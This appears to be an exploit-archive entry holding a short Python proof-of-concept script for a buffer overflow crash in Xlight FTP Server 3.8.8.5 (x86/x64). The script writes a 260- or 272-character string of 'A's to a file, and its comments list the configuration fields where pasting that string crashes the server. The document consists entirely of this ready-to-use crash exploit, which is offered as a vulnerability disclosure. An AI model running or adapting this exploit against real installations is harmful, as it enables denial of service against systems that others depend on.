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Xlight FTP Server 3.8.8.5 - Buffer Overflow (PoC) Exploit
[#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: Xlight FTP Server (x86/x64) - Buffer Overflow Crash (PoC) # Vulnerable Software: Xlight FTP Server v3.8.8.5 (x86/x64) # Vendor Homepage: http://www.xlightftpd.com/ # Version: v3.8.8.5 (x86/x64) # Software Link: http://www.xlightftpd.com/download/ # Tested On: Windows 7 x64 # # # PoC: generate crash.txt, copy contents to clipboard, paste in any of the vulnerable fields # # 1. Generate crash.txt, open, and copy contents to clipboard # 2. In Xlight Server, open Global Options > Log > Session Log - Advanced Options > Setup # 3. Select Filtering log by users > Setup # 4. Add User # 5. Paste crash.txt contents # 6. Application crashes # # Additional vulnerable fields: # Global Options > Log > Session Log - Advanced Options > Setup > Filtering log by groups > Setup > Add Group # Virtual Server > Modify Virtual Server Configuration > Advanced > Misc > Execute a program after user logged in > Setup # # file="crash.txt" #file="crash64.txt" crash = "A"*260 #crashes on 260 for x86, but more will do #crash64 = "A"*272 #crashes on 272 for x64, but more will do writeFile = open (file, "w") writeFile.write( crash ) #writeFile.write( crash64 ) writeFile.close() # 0day.today [2024-11-15] #